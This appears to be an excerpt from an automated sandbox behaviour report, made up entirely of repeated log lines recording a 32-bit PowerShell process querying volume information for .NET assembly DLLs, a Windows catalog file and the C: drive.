Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
